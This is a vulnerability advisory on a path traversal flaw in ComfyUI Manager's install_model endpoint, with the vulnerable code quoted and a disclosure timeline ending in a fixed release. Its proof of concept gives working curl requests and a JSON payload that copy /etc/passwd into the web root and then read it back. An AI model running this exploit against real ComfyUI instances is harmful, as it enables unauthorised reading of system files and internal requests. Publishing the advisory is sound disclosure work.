Security Advisory

ComfyUI Manager Path Traversal in Install Model filename

Created by Savino Sisco, Leonardo Giovannini
03/03/2025

Overview

This document summarizes the results of a vulnerability discovered in ComfyUI Manager. While security testing was not meant to be comprehensive in terms of attack and code coverage, we have identified a path traversal vulnerability that could lead to information leakage by exfiltrating local files or sending requests to internal resources.

About Us

Doyensec is an independent security research and development company focused on vulnerability discovery and remediation. We work at the intersection of software development and offensive engineering to help companies craft secure code.

Research is one of our founding principles and we invest heavily in it. By discovering new vulnerabilities and attack techniques, we constantly improve our capabilities and contribute to secure the applications we all use.

ComfyUI Manager Path Traversal in Install Model filename Field	
Component	ComfyUI Manager
Vendor	Comfy Org
CVSSv3	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
Severity	9.3 (Critical)
Vulnerability Class	CWE-35: Path Traversal
Status	Open
CVE	Not yet assigned
Credits	Savino Sisco, Leonardo Giovannini

Summary

A path traversal vulnerability has been discovered in **ComfyUI Manager** before v3.31, a ComfyUI extension that allows its users to manage custom nodes and models. The extension is included by default in ComfyUI Desktop.

The vulnerability affects the `filename` field in the `/api/manager/queue/install_model` endpoint. It allows an unauthenticated attacker to copy a remote or local file to an arbitrary path on the system.

On the default security level, the issue is only exploitable if the destination filename has the `.safetensors` extension, limiting the impact of the issue as an Arbitrary File Write and preventing a potential escalation to a Remote Code Execution.

However, the issue can still be abused as an **Arbitrary File Read** or **SSRF** by fetching a local or remote file and copying it to the assets directory of the application's web root, allowing the attacker to retrieve it with a subsequent HTTP request.

Technical Description

The ComfyUI Manager implements configurable "security levels" to prevent potentially risky or malicious actions from being executed unless the security level is explicitly lowered by the user running the application.

The handler for the `/api/manager/queue/install_model` endpoint checks whether the supplied URL for the model to install is part of an internal allowlist, however the check is skipped if the specified filename has the `.safetensors` extension (or the app security level was lowered):

```
@routes.post("/manager/queue/install_model")
async def install_model(request):
    json_data = await request.json()

    if not is_allowed_security_level('middle'):
        logging.error(SECURITY_MESSAGE_MIDDLE_OR_BELOW)
        return web.Response(status=403, text="A security error has occurred.
Please check the terminal logs")

    if not json_data['filename'].endswith('.safetensors') and not
is_allowed_security_level('high'):
        models_json = await core.get_data_by_mode('cache', 'model-list.json',
'default')

        is_belongs_to_whitelist = False
        for x in models_json['models']:
            if x.get('url') == json_data['url']:
                is_belongs_to_whitelist = True
                break

        if not is_belongs_to_whitelist:
            logging.error(SECURITY_MESSAGE_NORMAL_MINUS_MODEL)
            return web.Response(status=403, text="A security error has occurred.
Please check the terminal logs")

    install_item = json_data.get('ui_id'), json_data
    task_queue.put(("install-model", install_item))
```

When the queue is started, the `do_install_model()` function handles the task. Very early in the function, a call to `get_model_path()` is made to determine the output path for the new model, passing the raw JSON object to it:

```
async def do_install_model(item) -> str:
    ui_id, json_data = item

    model_path = get_model_path(json_data)
    model_url = json_data['url']
```

After an initial call to `get_model_dir()` to determine the model's base path, the final file path is determined by a call to `os.path.join(base_model, data['filename'])`.

```
def get_model_path(data, show_log=False):
    base_model = get_model_dir(data, show_log)
    if base_model is None:
        return None
    else:
        if data['filename'] == '<huggingface>':
            return os.path.join(base_model, os.path.basename(data['url']))
        else:
            return os.path.join(base_model, data['filename'])
```

However, whenever an absolute path is passed as the last argument to `os.path.join()`, all the previous arguments are ignored. As a consequence, we can escape from the intended directory and write the file to an arbitrary location by simply specifying an absolute path in the `filename` field.

Moreover, the `download_url_with_agent()` function, which is later used to download the source file, fetches the file with a call to `urllib.request.urlopen()` which supports, among others, the `file:` protocol.

```
def download_url_with_agent(url, save_path):
    try:
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/
537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'}

        req = urllib.request.Request(url, headers=headers)
        response = urllib.request.urlopen(req)
        data = response.read()

        if not os.path.exists(os.path.dirname(save_path)):
            os.makedirs(os.path.dirname(save_path))

        with open(save_path, 'wb') as f:
            f.write(data)

    except Exception as e:
        print(f"Download error: {url} / {e}", file=sys.stderr)
        return False

    print("Installation was successful.")
    return True
```

Note that in this snippet, `url` is the url field from the JSON request and `save_path` is the output of the `get_model_path()` function.

This effectively allows an attacker to copy a file from the local system or a URL and write it to an arbitrary location on the filesystem, as long as the extension of the destination file `.safetensors`.

Proof of Concept

1. Find the web root by checking the app logs:

```
$ curl -s http://127.0.0.1:8000/internal/logs/raw | jq | grep root
      "m": "[Prompt Server] web root: /ComfyUI/web\n"
```

2. Create a new body.json file with the following contents.
   Replace the `filename` field with the correct web root path, and the `url` parameter with the path of the file or URL to exfiltrate/download.

```
{
  "base": "FLUX.1",
  "description": "test",
  "filename": "/ComfyUI/web/assets/exfil.safetensors",
  "name": "test",
  "reference": "test",
  "save_path": "test",
  "size": "4.71MB",
  "type": "TAESD",
  "url": "file:///etc/passwd",
  "installed": "False",
  "ui_id": ""
}
```

3. Enqueue the model install request:

```
$ curl -s http://127.0.0.1:8000/api/manager/queue/install_model --data-binary
"@body.json"
```

4. Start the queue to trigger the vulnerability:

```
$ curl -s http://127.0.0.1:8000/api/manager/queue/start
```

5. Retrieve the exfiltrated file:

```
$ curl -s http://127.0.0.1:8000/assets/exfil.safetensors
root:x:0:0:root:/root:/bin/bash
...
```

Disclosure Timeline

03/11/2025	Issue reported to the maintainers
03/12/2025	Issue patched in the codebase
03/13/2025	Fixed version 3.31 released